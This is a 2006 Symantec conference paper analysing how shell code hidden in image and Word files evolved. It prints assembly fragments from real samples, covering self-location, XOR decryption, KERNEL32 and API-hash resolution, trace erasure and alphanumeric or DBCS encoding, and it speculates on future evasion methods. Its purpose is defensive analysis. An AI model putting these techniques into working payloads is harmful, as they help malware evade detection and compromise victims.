



Evolving Shell Code

Masaki Suenaga
Symantec Security Response, Japan

Originally published by Virus Bulletin Conference, October 2006. Copyright held by Virus Bulletin, Ltd., but is made available courtesy of Virus Bulletin. For more information on Virus Bulletin, please visit <http://virusbtn.com/>

Evolving shell code

Contents

Abstract	4
Shell code with vulnerability	4
Shell code in a network packet	4
Shell code in a data file	4
Shell code in a Word document file.....	5
What shell code does	6
Locating itself on memory.....	6
Decrypting	6
Resolving API	6
Executing payload	8
Downloading or dropping a file and executing	8
Opening a backdoor	8
Evolution History.....	8
Decrypting shell	9
Checksum API resolving shell	9
Why do they use either 13 or 7?	10
Code obfuscating shell	11
FPU using shell	12
Host modifying shell	12
ASCII shell	14
DBCS-to-Unicode conversion shell	16
Future	16
Larger host files.....	17
With a special weapon.....	17
MMX instruction using shell	17
Packed shell	17
Location limiting shell	17
Hard to kill	17
Hiding.....	17
Many eggs	17
Various variants.....	18
Parasite	18
Injecting shell.....	18
File infecting shell	18
Living in a niche.....	18
Environment-dependent shell	18
Mimic	18
Conclusion.....	19
References.....	19

Abstract

Everything evolves. There are no exceptions, even for shell code. First the code was hidden using encryption. Now, it mimics the host data file. This paper discusses the evolution thus far, and though impossible to know for certain, the probable future.

Shell code with vulnerability

This paper deals with some types of shell code seen in data files, such as image and document files used in Windows environments. A piece of shell code is a small program which appears particularly in places where programs are usually not supposed to be placed. They are sometimes script code, such as VB scripts or MS-DOS BAT commands, otherwise they are native machine code that runs on a desired CPU. The latter case is the focus of this paper.

For quite some time now, many pieces of shell code have appeared in network packets, spreading network worms. This technique was later utilized in data files as well. A .jpg file was the first successful target, exploiting a vulnerability that was found in September 2004. Symantec detects this file as Trojan.Moo¹. Since then, more and more types of data files are being exploited each year, while the frequency with which we see new types of network shell code is decreasing.

Shell code in a network packet

Spybot worms used to spread by exploiting the LSASS Remote Buffer Overflow. The exploit shell code is sent to a target PC, being stored in a network packet. A sample of a proof of concept of the vulnerability does the following:

- Decrypts the code by XORing with 99h.
- Gets the base address of the already loaded KERNEL32.DLL.
- Resolves the addresses of necessary API entries.
- Creates a socket.
- Connects to the attacker's PC.
- Calls CreateProcess, with STARTUPINFO.hStdInput, hStdOutput, and hStdError is set to the socket.

In the case of Spybot worms, the attacker's PC will then send any command, such as 'tftp host GET source-path' to make the victim's PC download a file from the attacker's PC.

Shell code in a data file

Shell code in a .jpg image file

Windows also has a vulnerability when handling .jpg image files (the Microsoft GDI+ Library JPEG Segment Length Integer Underflow vulnerability). This vulnerability allowed a specially crafted .jpg file to cause Internet Explorer to execute arbitrary code stored in the .jpg file.

A user who visited a malicious web page could be at risk, since just viewing the web page would cause the shell code to execute. Users didn't have the option to disable the handling of .jpg files, as they weren't thought to allow scripted actions.

Shell code in Spybot worms is included in executable files, and most users are wary of unknown EXE files. In most cases, a user can choose whether or not to execute an EXE file. But, what about .jpg files? There are often millions of .jpg files on a given website, let alone those that exist worldwide. EXE files are hard to produce, but a single push of a release button on a camera produces a new .jpg file, more and more of which are posted on the web. Even if a user got caught by a malicious image file and unwillingly executed a malicious program in the image file on his PC, it would be hard for that user to trace the origin of the program. The typical shell code in .jpg files downloads and executes a remote file.

Shell code in a Word document file

Microsoft Word documents also pose a threat to unpatched PCs, as they are susceptible to multiple vulnerabilities. Macro viruses cannot run if the security level has been raised, but a shell code in a Word document exploiting the vulnerability can. Just opening the document file will lead to arbitrary code execution.

These Word documents are often attached to email sent to a specific target organization. The email title, body and attachment, and even the contents of the Word document, have consistent context and appear very meaningful to the recipients in the targeted organization. For example, suppose the target is a supermarket. The mail title may be 'Need to revise our wholesale prices', and the message body may tell the supermarket buyer about the situation, in their local language, providing an attachment with a decent file name. The contents of the document may also be about the revision of prices. The only point in question is the sender itself. If the mail is not for a personal matter but a business one, the recipients would be likely to open the document without any doubts. There was an incident in Japan where a manager of an e-commerce site received an email from a customer complaining about the merchandise, with a self-extracting EXE file attached for explanation. The manager opened the file from the customer, and unfortunately, his bank account password was stolen by a covertly installed password stealer program. The thief got away with quite a bit of his money, as well.

It is rarer to find Word documents on the web than .jpg files. That may be why malicious Word documents are generally sent as email attachments, and generally are not distributed in other ways. A typical piece of shell code in Word documents drops and executes a program stored within the same document.

What shell code does

In whatever media a piece of shell code resides, it has to do its job. If it is a program written in C and linked to an EXE file, the author need not think about where the code is loaded in memory and how API addresses can be retrieved. The linker and loader will fix up everything automatically. A piece of shell code, however, must do it on its own.

Locating itself on memory

The basic way of locating itself is shown below:

```
ADDRESS1: CALL ADDRESS3
ADDRESS2: some pieces of code
ADDRESS3: POP EBX
```

When the CPU has executed the code at ADDRESS3, EBX contains the address of ADDRESS2. Once it locates itself, it calculates any other addresses relative to the addresses previously retrieved. This is why we see many instructions that use operands like [EBX+14h].

Decrypting

If a .jpg file or a Word document contains 'MZ' inside, it is too obvious. If a piece of shell code is long enough, an anti-virus engine can sniff it as to whether it contains a well known common part of shell code. From the perspective of the virus author, this is something that should be avoided.

Typically, a piece of shell code starts to decrypt most of its body as soon as it gets started. In some cases, it is only the part that will be dropped as a file, or a URL from which to download a file, that is encrypted. In rare cases, the part to be dropped is encrypted for the first time, and again encrypted together with the shell code for the second time. Decryption algorithms are, for now, not difficult. XOR, ADD and SUB are used alone or in combination as shown below:

```
ADDRESS1: MOV ECX,100
ADDRESS2: LEA ESI,[ EBX+20]
ADDRESS3: MOV EDI,ESI
ADDRESS4: LODSB
ADDRESS5: XOR AL,99h
ADDRESS6: STOSB
ADDRESS7: LOOP ADDRESS4
```

Resolving API

If a shell is running on MS-DOS or Linux, it can use the INT instruction to call a system function. On Windows, the INT instruction can only be called from privileged status. If a shell code wants to do something meaningful, it must find the entry point of the APIs.

Evolving shell code

LoadLibrary and GetProcAddress are exported by KERNEL32.DLL. If a piece of shell code gets just these two entry addresses, it will be able to call any other APIs it needs. There is no need to call GetProcAddress to get API addresses, as the addresses can be found in memory. The problem is how to find where KERNEL32.DLL is loaded. If the attack has a specific target, and the author knows what environment is there, he can use a precise address for KERNEL32.DLL, such as 77E60000h, since it will not vary within the same environment. But no shell code has such a predetermined address. In fact, it checks some values chaining from FS:[30h]. A good discussion of this topic can be found in a paper on the nologin.net Web site, *Understanding Windows Shellcode*². The simplest way is as shown below:

```
ADDRESS1: MOV EAX, FS:[ 30h] ;EAX = 7FFDF000h
ADDRESS2: MOV EAX, [ EAX+0Ch] ;EAX = 00191EA0h
ADDRESS3: MOV ESI, [ EAX,1Ch] ;EAX = 00191F58h
ADDRESS4: LODSD ;EAX = 00192020h
ADDRESS5: MOV EBX, [ EAX+8] ;EAX = 77E60000h (KERNEL32.DLL)
```

Now, you can get the base address of KERNEL32.DLL on Windows XP. There is another way of finding KERNEL32.DLL on memory as shown below:

```
ADDRESS1: XOR EBX, EBX
ADDRESS2: MOV EAX, FS:[ EBX] ;EAX = 006FFE0h
ADDRESS3: INC EAX
ADDRESS4: XCHG EAX, EBX
ADDRESS5: MOV EAX, [ EBX-1] ;EAX = 0FFFFFFFFh
ADDRESS6: INC EAX
ADDRESS7: JNZ ADDRESS4
ADDRESS8: MOV EDX, [ EBX+3] ;EAX = 77E94809h
ADDRESS9: XOR DX, DX
ADDRESS10: MOV AX, 1000h
ADDRESS11: CMP WORD PTR [ EDX], 'MZ'
ADDRESS12: JZ FOUND ;EDX = 77E60000h (KERNEL32.DLL)
ADDRESS13: SUB EDX, EAX
ADDRESS14: JMP ADDRESS11
FOUND:
```

This method involves searching memory pages downward for 'MZ' of a module header. Once KERNEL32.DLL is found, a shell code can get API addresses by calling GetProcAddress, which can be found in the Export Table within KERNEL32.DLL from memory. In this case, API names are seen in the shell code.

Executing payload

Now the necessary APIs are all resolved. A typical shell code downloads or drops another file, otherwise it opens a backdoor. This section will discuss the methodology of both of these actions.

Downloading or dropping a file and executing

A typical downloader calls the URLDownloadToFile API to download another program from the Internet, and calls the CreateProcess or WinExec API. Image files tend to be downloaders, whereas Microsoft Office documents have a tendency to have another executable file in the host file. For example, a shell code running in the process of Word.exe will access the host Word document file, which is kept open. To get the file handle used in the same process, a shell code executes, for example, the following instructions:

```
    mov dword ptr [ebp-50h], 0 ; hFileDocument
SEARCH_MY_HANLDE_LOOP:
    add dword ptr [ebp-50h], 4 ; hFileDocument
    push 0
    mov eax, [ebp-50h] ; hFileDocument
    push eax
    call dword ptr [esi+18h] ; GetFileSize
    mov ecx, [ebp-48h] ; 24B87h (size of the dropped file)
    add ecx, [ebp-4Ch] ; 10200 (offset of the dropped file)
    cmp eax, ecx
    jnz short SEARCH_MY_HANLDE_LOOP ; hFileDocument
FOUND_MY_HANDLE:
```

First it sets hFileDocument to 0. It then tries to access a file with hFileDocument until the file size is found equal to what is known to the shell code, with hFileDocument increased by 4 at each loop.

Opening a backdoor

There are some, though very rare, cases where a shell code opens a socket to listen for commands from outside. It just passes the input to cmd.exe, but is still capable of doing many things. The shell code lives in an image file and can run in the process of Internet Explorer that has opened the image. However, this backdoor is not very useful, as simply closing Internet Explorer will effectively stop the backdoor.

Evolution History

Now that we've discussed the basic methodologies, let's take a look at the overall evolution of shell code. The following sections describe what has been found in the real world.

Decrypting shell

A slightly more complex decryption algorithm can be used instead of just XORing every byte. The sample code below is found in a Word document, which is detected as Trojan.Mdropper by Symantec. The DWORD decryption key changes every other DWORD. In other words, it has an eight-byte decryption key. Another difference is that it does not have the size to decrypt, but a specific signature to mark the end. It is still a piece of cake, though.

```
    jmp do_decrypt
decrypt_and_go:
    pop edi ; edi = offset encrypted_area
    push edi
    pop esi ; esi = offset encrypted_area
    xor ecx, ecx
loc_8A65:
    lodsd
    cmp eax, 0FF773311h
    jz short encrypted_area
    test ecx, 1
    jnz short loc_8A7C
    xor eax, 16D4A07h
    jmp short loc_8A81
loc_8A7C:
    xor eax, 42BC4B2h
loc_8A81:
    stosd
    inc ecx
    jmp short loc_8A65
do_decrypt:
    call decrypt_and_go
encrypted_area:
```

Checksum API resolving shell

The basic way to get API addresses is by calling GetProcAddress API with a parameter of API names. A more common way is to calculate checksums using API names, compare with the necessary checksum values and get the corresponding API entry addresses. Roughly 95% of the methods for calculating checksums fall into four generic techniques. I'll list these four methods for convenience here.

- Checksum Method 1 (Right-Rotation 13 w/o null terminator, ADDing):

```
XOR EDI,EDI
XOR EAX,EAX
LOOP_NEXT:
    LOSB
    OR EAX,EAX
    JZ END_LOOP
```

Evolving shell code

```
ROR EDI, 13
ADD EDI, EAX
JMP LOOP_NEXT
END_LOOP:
```

- Checksum Method 2 (Left-Rotation 7 w/o null terminator, XORing):

```
XOR EDI, EDI
XOR EAX, EAX
LOOP_NEXT:
  LOSB
  OR EAX, EAX
  JZ END_LOOP
  ROL EDI, 7
  XOR EDI, EAX
  JMP LOOP_NEXT
END_LOOP:
```

- Checksum Method 3 (Right-Rotation 13 w/ null terminator, ADDing):

```
XOR EDI, EDI
XOR EAX, EAX
LOOP_NEXT:
  LOSB
  ROR EDI, 13
  OR EAX, EAX
  JZ END_LOOP
  ADD EDI, EAX
  JMP LOOP_NEXT
END_LOOP:
```

- Checksum Method 4 (Left-Rotation 7 w/ null terminator, XORing):

```
XOR EDI, EDI
XOR EAX, EAX
LOOP_NEXT:
  LOSB
  ROL EDI, 7
  OR EAX, EAX
  JZ END_LOOP
  XOR EDI, EAX
  JMP LOOP_NEXT
END_LOOP:
```

Why do they use either 13 or 7?

Interestingly enough, the number of rotations is either 13 or seven in roughly 90 per cent of the cases. Thirteen is the number used in *Understanding Windows Shellcode*². Seven might simply have been pulled out of the air, or perhaps the author thought it would give them luck. If we use other

numbers, are there any problems like hitting multiple APIs with the same checksum value?

Rotation count	1	2	3	4	5-7	8	9-11	12	13-15	16	17-19	20	21-23	24	25-27	28	29	30	31
kernel32.dll	7	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	0
urlmon.dll	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
ntdll.dll	10	0	0	0	0	0	0	0	0	13	0	0	0	0	0	0	1	0	20
advapi32.dll	20	2	0	0	0	2	0	0	0	7	0	0	0	0	0	0	6	26	47
user32.dll	0	0	0	1	0	1	0	1	0	5	0	1	0	1	0	1	0	0	0
wsock32.dll	1	0	0	0	0	0	0	0	0	2	0	0	0	0	0	0	0	0	0
ws2_32.dll	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0

Table 1.1 METHOD 1 and METHOD 3 (Right-rotation, ADDing).

Rotation count	1	2	3	4	5-7	8	9-11	12	13-15	16	17-19	20	21-23	24	25-27	28	29	30	31
kernel32.dll	4	0	0	0	0	0	0	0	0	24	0	0	0	0	0	0	0	0	0
urlmon.dll	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0
ntdll.dll	11	0	0	0	0	0	0	0	0	7	0	0	0	0	0	0	0	0	8
advapi32.dll	44	25	5	0	0	2	0	0	0	22	0	0	0	2	0	0	0	1	21
user32.dll	2	0	0	1	0	1	0	1	0	12	0	1	0	1	0	1	0	0	0
wsock32.dll	1	0	0	0	0	0	0	0	0	2	0	0	0	0	0	0	0	0	1
ws2_32.dll	3	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0

Table 1.2 METHOD 2 and METHOD 4 (Left-rotation, XORing).

Tables 1.1 and 1.2 illustrate the relationship between collisions of APIs and the number of rotations. Using numbers that are too small or too large becomes dangerous. Every multiple of four is also at risk of collision, especially when two API names are composed of the same characters, such as ClientToScreen and ScreenToClient. The collisions in advapi32.dll in the case of the multiples of four are between SystemFunction001 and SystemFunction040, and between SystemFunction002 and SystemFunction041, which are not necessary for shell code. Thus, four, eight, 12, 20, 24 and 28 are virtually safe. The rotation counts we should avoid are 1, 2, 16, 30 and 31. Three and 29 should be avoided if only the related API is necessary. Zero is out of the question. The rotation count three has been already found to be used in a shell code.

Code obfuscating shell

Where is ebx + 40112Dh? Look at the following code snippet:

```

push 1
lea ecx, [ebx+40112Dh] ; file name?
nop
push ecx
push edx
call dword ptr [ebx+401191h] ; API?

```

Evolving shell code

We know that an address around 400000h is used by executable files developed with default build options. Many EXE files are located at 400000h. This fact makes us confused about addresses like ebx + 40112Dh. At first glance we might think this shell code is targeting a specific version of a specific program. But, if we trace back the EBX register...

```
ADDR0001DF4E call  ADDR0001DF53
ADDR0001DF53 pop   ebx
ADDR0001DF54 sub   ebx, 4010A6h ; ebx = -3e3153h
(1DF53h - 4010A6h)
ADDR0001DF5A jmp   loc_1E068
loc_1E068     ;some pieces of code
ADDR0001E097 mov  [ebx+401185h], ebx ; [ADDR0001E032] = EBX
ADDR0001E09D lea  edx, [ebx+4010B2h] ; EDX =
offset ADDR0001DF5F
                ;some pieces of code
ADDR0001E0F4 mov  ebx, [edx+0D3h] ; ebx = (-3e3153h)
                ; 1DF5Fh+0D3h = 1E032h
```

The register EBX constantly means -3e3153h. Thus, ebx+40112Dh is equal to 1DDFAh, where we can find a file path. EBX + 401191h is the address where the API address of CopyFileA is already stored. That is not a difficult obfuscation, but still it takes more time to solve manually.

FPU using shell

Visual BASIC often uses floating point unit (FPU) instructions to calculate. It is less common to see FPU instructions in shell code. Theoretically, there is almost no need to use real numbers in a short shell code. They are used primarily to obfuscate the code. Look at the following code:

```
ADDR1  FLDZ
ADDR2  FNSTENV [ESP-0Ch]
ADDR3  POP  EBX
```

The instruction FLDZ pushes a real number of 0.0 to the stack top of the FPU accumulators. The next fnstenv stores some FPU environment values to the designated memory area, which is [ESP-0Ch] in this case. At this time, [ESP] contains the Instruction Pointer where the last FPU instruction was executed, which is ADDR1. Then, when POP EBX is executed, EBX is set to ADDR1. A decryption code will follow it. When I first saw this, it took some additional time to understand.

Host modifying shell

Miracle cure...? No, alas, it is too late to save you. It is important for any successful espionage attempt to eliminate any incriminating evidence. If the large wooden horse presented to Troy had read 'Warning: Grecian Military Inside', it wouldn't have made it through the gates. Let's imagine that a certain organization in Japan has received an email with a Word document attached to it. The Word

document seems to be related to their work, but may be from an untrusted source. Such Word documents often exploit some vulnerability to drop a backdoor program called Backdoor.Graybird. Graybirds are hard to find since they hide themselves. However, if the Word application crashes when the document is opened, the user may notice that something is amiss. The 'gift' will be well preserved and sent to their favourite anti-virus laboratory. A detective working in the lab will analyse the 'gift' and tell the client that they should start looking for well-armed Greek men in their computers. This is the possible impetus for some shell code to attempt to erase the portion which was dropped in the host file. The following is the evidence of their attempt to cover their tracks:

```
push    0                ; FILE_BEGIN
push    0
mov     eax, [ebp-4Ch]    ; offset
dropped_binary
push    eax
mov     eax, [ebp-50h]    ; hFileDocument
push    eax
call    dword ptr [esi+0Ch] ; SetFilePointer
push    40000h
push    40h
call    dword ptr [esi+20h] ; GlobalAlloc
mov     [ebp-4], eax      ; lpMem
push    0                ; lpOverlapped
lea    eax, [ebp-58h]    ; nNumberOfBytesWritten
push    eax
mov     eax, [ebp-48h]    ; 24B87h (size of dropped file)
push    eax
push    dword ptr [ebp-4] ; lpMem
push    dword ptr [ebp-50h] ; hFileDocument
call    dword ptr [esi+8] ; WriteFile
```

I was able to get this because their attempt failed. It contained a bug that increased the size of the Word document carelessly. The size was compared to find the file handle in use. (And the email had been saved, too.)

To add an interesting story, I found a Word document that dropped a backdoor but Word did not crash on Word 2002 running on Japanese Windows XP. If the version of Word was not 2002, or the language version of Word was not Japanese, either Word crashed or it did not drop the backdoor. The shell code was designed to clean up the stack in a specific environment. In addition, the document contained some meaningful information. It was less likely that they would notice they were at risk.

ASCII shell

Where have they gone? Figure 1 shows how the shell code usually looks in a hex editor.

```
Hex values ASCII characters
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .....
90 90 6A 7F 59 D9 EE D9 74 24 F4 5B 81 73 13 80 ..j.Y...t$.[.s..
82 01 01 83 EB FC E2 F4 7C B1 DA B2 B0 E6 8A 02 .....|.....
05 42 79 0D 0B C2 0D 8A F0 9E AC 8A E8 8A EA 08 .By.....
```

Figure 1 Shell code in a hex editor.

Virus analysts can sniff what appear to be CPU instructions.

```
43 37 4B 97 99 9F 99 90 F9 FD 43 46 99 4F 4E 4A C7K.....CF.ONJ
91 4A 96 27 98 F5 F9 37 47 93 96 3F FC 27 47 99 .J.'...7G..?'G.
98 48 FC 47 F9 27 FC 3F 48 90 46 3F F9 43 2F 40 .H.G.'.?H.F?.C/@
42 9F 91 48 47 F8 43 4A F5 3F 49 48 97 4F 9F 4B B..HG.CJ.?IH.O.K
F8 92 EB 03 59 EB 05 E8 F8 FF FF FF 49 49 49 49 ....Y.....IIII
49 49 49 49 49 48 49 49 49 49 49 49 49 49 51 5A IIIIIHIIIIIIIIQZ
6A 43 58 50 30 41 31 41 42 6B 42 41 53 42 32 42 jCXP0A1ABkBASB2B
41 32 41 41 30 41 41 58 50 38 42 42 75 4A 49 6A A2AA0AAXP8BBuJIj
4B 32 30 30 5A 32 6A 46 53 78 49 30 66 4E 59 57 K200Z2jFSxI0fNYW
4C 66 61 4B 30 47 44 34 4A 4D 49 6D 32 7A 5A 6A LfaK0GD4JMI2zZj
4B 63 35 6B 58 6A 4B 6B 4F 6B 4F 79 6F 74 30 30 Kc5kXjKkOkOyot00
4C 7A 39 4F 69 6C 59 5A 63 49 6D 70 38 6C 69 6D Lz9OilyZcImp8lim
```

Figure 2

How about the example in Figure 2? Yes, the top byte is already shell code. Let's disassemble this.

```
43      inc    ebx
37      aaa
4B      dec    ebx
97      xchg   eax, edi
99      cdq
9F      lahf
99      cdq
90      nop
F9      stc
FD      std
43      inc    ebx
```

It is just a collection of garbage instructions. It does not seem to be able to decrypt any place. The consecutive 49s, appearing as 'IIII' in ASCII characters, are very attractive. Increment and decrement operations are often used instead of NOPs at the start of a shell code. Now let's continue.

Evolving shell code

```
00000ADC    49          dec    ecx
00000ADD    49          dec    ecx    ; ecx = 0xABB
00000ADE    51          push   ecx
00000ADF    5A          pop    edx    ; edx = 0xABB
00000AE0    6A 43      push   43h
00000AE2    58          pop    eax    ; eax = 0x43
00000AE3    50          push   eax
00000AE4    30 41 31   xor    [ecx+31h], al ; XOR byte ptr [0xAEC],43h
00000AE7    41          inc    ecx    ; ecx = 0xABC
00000AE8    42          inc    edx    ; edx = 0xABC
00000AE9    6B 42 41 53 imul   eax, [edx+41h], 53h
; 53h was modified to 10h
                                ; imul eax,[edx+10h] ...[0xAFD]
                                ; AL=0xA0
00000AED    42          inc    edx    ; edx = 0xABD
00000AEE    32 42 41   xor    al, [edx+41h] ; AL = 0xA0 XOR 0x49 (== 0xE9)
00000AF1    32 41 41   xor    al, [ecx+41h] ; AL = 0xE9 XOR 0x4A (== 0xA3)
00000AF4    30 41 41   xor    [ecx+41h], al ; [0xAFD] = 0x4A XOR 0xA3 (== 0xE9)
00000AF7    58          pop    eax    ; eax = 0x43
00000AF8    50          push   eax
00000AF9    38 42 42   cmp    [edx+42h], al ; cmp 0x49,0x43
00000AFC    75 4A      jnz    loc_0B48 ; 4Ah was modified to 0E9h
```

This intricacy of code lasts for a while. It decrypts a few upcoming instructions, little by little. If the shell code were to decrypt a larger area, it would need some tens of instructions, which would soon be caught under scrutiny. Instead, by decrypting little by little, so that the area looks just like a character field, the shell code successfully mimics a data portion. This character field lasts for no less than 700 bytes, which soon made me stop decrypting the code manually. I had to resort to a method that involved converting the data file to an executable file. Mimicking ASCII text is not the only way to hide. I saw the data shown in Figure 3 in a .wmf file, a Windows Meta File.

```
10E0 4A 43 4F 48 93 91 F9 F9 F8 4F 98 90 37 D6 F9 D6 JCOH.....O..7...
10F0 4E 93 92 90 43 96 47 4B 91 48 96 FC 42 40 D6 91 N...C.GK.H..B@..
1100 F8 F8 FD 97 4E 9B 41 F8 46 FC 93 FC 3F 48 46 F5 ....N.A.F...?HF.
1110 37 40 49 99 F5 F8 F8 42 4B FD 96 46 47 FD 37 90 7@I....BK..FG.7.
1120 48 91 90 37 4F 37 FC 2F D6 49 4A 4E FC FD FC 90 H..707./.IJN....
1130 27 FC 6A 3C 59 D9 EE D9 74 24 F4 5B 81 73 13 C4 `j<Y...t$.[.s..
1140 91 F6 B1 83 EB FC E2 F4 2F C5 7D C4 F8 1A 82 84 ...../.).....
1150 BC 92 03 E7 4F E7 D6 B2 31 A2 3F F8 85 3C C5 6A ....O...1.?..<.j
1160 F2 9E 48 A5 EC A9 04 C5 CC 50 3D BC C7 4B B6 5A ..H.....P=..K.Z
```

Figure 3 Data in a Windows Meta File.

This random-looking data continues for some 1.5K bytes. At first look it appears to be regular data in a WMF format. However, the shell code starts at offset 1132h to decrypt the following code, and before the shell code came many sets of NOP-equivalent instructions, which distracted me.

DBCS-to-Unicode conversion shell

This is the latest technique as of this writing in May 2006. An exploited Word document drops a program file only on Chinese Windows environments. It is impossible to find the shell code in the document by using the traditional methodology; for example by finding some familiar initial code. Let's look at the example below:

```
CE B7 C0 C5 C6 DF B4 D9 DF 5F 95 84
```

We cannot find any shell code here which can be run on an Intel CPU. The string is, in fact, composed of some Chinese characters from the GB-2312 character code set, though the string itself is meaningless as a Chinese phrase. Microsoft Word converts the string to Unicode for its own purposes and stores the Unicode string in memory, or more precisely in the stack. The arbitrary code execution occurs in the stack. Now let's look at the converted Unicode string below:

```
4F 75 05 74 03 4E C3 4F 54 90 5E 66
```

Each Unicode character is 16 bits wide and Little Endian. Every ASCII character is converted to a two-byte Unicode character with a zero added. But every two-byte Chinese character is converted to a two-byte Unicode without the zero. Languages that use Chinese characters, namely Chinese and Japanese, use a wide range of Unicode. Korean uses a wide range of Unicode Hangeul characters as well. This fact enables the attacker to write shell code in Unicode characters and convert them to Double Byte Character Set, or DBCS, in order to store in a target file. It is very difficult to utilize this technique using European, Cyrillic, Greek, Arabic and other character sets, because the range of respective Unicode characters is very limited. If the Unicode string is disassembled, we see the following code:

```
DEC EDI
JNZ LABEL1
JZ LABEL1
DEC ESI
RETN
DB 4Fh
LABEL1:
PUSH ESP
NOP
POP ESI
LODSW
```

Future

In order for a living species to survive, it should either become bigger, have a special weapon, become harder to kill, hide to avoid being eaten, spawn many eggs, spawn a variety of minor variants, become parasitic, live in a safer niche or mimic another species. Let's assume we can apply the rule of nature to the viral kingdom.

Larger host files

Windows Media Video (WMV) files have vulnerabilities. If a movie size is more than 600M bytes, I will not want to check each byte. But, contrary to living organisms, a size this large is not necessarily advantageous to survival. A user may cancel downloading.

With a special weapon

MMX instruction using shell

MMX instructions can be seen in viruses to obfuscate the code. They can also be used in shell code. MMX instructions may be used to decrypt by calculating multiple bytes separately at one instruction. Virus analysts should be aware of this potential technique.

Packed shell

Unpacking code will use up a lot of space. But if the space permits, shell code can contain a deflating routine, possibly with obfuscation techniques, to hide its intent.

Location limiting shell

A shell code can search the memory of the current Internet Explorer process for the current URL to use it as the decryption key. Anti-virus vendors seldom know where the submitted file comes from, making it hard to decrypt the shell code. (A Java script already did it.) Otherwise a shell code can sniff as to whether it is a safe place for it to run. For example, if the local IP address is not the expected one, it can cancel the planned attack.

The good news is that even if it is hard to understand, it is suspicious enough for a non-executable file to be marked as a virus if it contains a shell code. It is not worth making such an effort to constrain the location.

Hard to kill

Data files do not execute by themselves. It is very difficult to design a data file with shell code to run any time and thwart its removal. Moreover, once another program is dropped, the data file is no longer necessary. Shell code will not evolve in this direction.

Hiding

Shell code is hidden by design. If the content is not shown, or the related application crashes, a user might notice. Future shell code can clean up the stack and lead the application to a safe status in which it can continue without any problems being obvious from the users' perspective.

Many eggs

Worms spread by sending many copies. File infectors survive by infecting as many files as possible. How about shell code? Vulnerability in .jpg files can be exploited when Windows Explorer displays the

file, even in a preview pane or thumbnail form. If such a file puts many copies in every accessible file folder, including network shares, it will survive for much longer.

Various variants

Since shell code is a part of a data file, the data portion can easily be modified. These variants will survive until virus definitions catch the common characteristics.

Parasite

Injecting shell

A shell code can inject code into another running process, where it performs another malicious action like downloading a file. It may take some additional minutes to analyse such a shell code.

Nevertheless, it provides no other impact, because shell code is already similar to injected code in the sense that it runs in an unexpected process.

File infecting shell

A Windows Help file is a known file format that can be infected. Every data file that has room for arbitrary code, not only in machine code but also in any scripts, can be infected. An elaborate JPEG file, supposing the machine is still vulnerable, can search the drives for all the .jpg files to insert a shell or replace some portion of the file with shell code. I've never heard of an infectious image file, but it is certainly possible. There could even be a heterogeneous infector that infects many file types. To make matters worse, image files are ready to be published to the web, especially when the infected computer is used for web publication. A user browsing the web with a modern browser is given the choice of whether or not to download each .exe file, however this is not the case in the event of an image files. While the current version of Internet Explorer allows the user to disable images unilaterally, there is currently no option in Internet Explorer to prevent individual images from being shown. Even if one is careful to avoid any dark alleys, if your bank is being robbed, you shouldn't go in. (An attacked website often offers malicious scripts to the visitors...)

Living in a niche

Environment-dependent shell

Backdoor implantation is already becoming more and more targeted. If an attacker knows what kind of OS is running with what software, the victim may receive a custom-tailored gift. As already discussed, Word documents especially made for the victim have appeared. If a shell code is coded with many immediate API addresses or the like, instead of scouring the system for them, it is very difficult to tell exactly what it does, though such a file is suspicious enough.

Mimic

Mimicked shell code will continue to be a headache until we have a sophisticated shell code detector. Human eyes will easily miss an image of no contrast. If a host data file consists of many ASCII char-

acters, the shell code can mimic ASCII strings. If it is a compressed image, then a shell code can mimic the compressed image. It can also XOR multiple areas, each of which looks like regular data in the host file. No matter what kind of mimicry is used, there should still be the initial shell code that decrypts the mimicked area. It may jump far away again and again to distract. But, if a tool can emulate some ten instructions without an invalid operation, it is a smoking gun. We are not dealing with a program file, but a data file.

Conclusion

Traditionally, data files are not supposed to contain program code. Shell code has been evolving month after month, but it cannot elude us as long as we can locate the initial point of execution. We can be optimistic in this sense. At the same time, we have to pay attention to the way shell code behaves; otherwise it may go far beyond our current assumptions.

References

- 1 Trojan.Moo
<http://securityresponse.symantec.com/avcenter/venc/data/trojan.moo.html>
- 2 Skap. Understanding Windows Shellcode.
<http://www.nologin.net/Downloads/Papers/win32-shellcode.pdf>

About Symantec

Symantec is the global leader in information security, providing a broad range of software, appliances, and services designed to help individuals, small and mid-sized businesses, and large enterprises secure and manage their IT infrastructure.

Symantec's Norton™ brand of products is the worldwide leader in consumer security and problem-solving solutions.

Headquartered in Cupertino, California, Symantec has operations in 35 countries.

More information is available at www.symantec.com.

Symantec has worldwide operations in 35 countries. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 800 745 6054.

Symantec Corporation
World Headquarters
20330 Stevens Creek Boulevard
Cupertino, CA 95014 USA
408 517 8000
800 721 3934
www.symantec.com

Symantec and the Symantec logo are U.S. registered trademarks of Symantec Corporation. Microsoft and Windows are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. Other brand and product names are trademarks of their respective holder(s). Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY. The technical information is being delivered to you as-is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Copyright © 2006 Symantec Corporation. All rights reserved.
04/05 10406630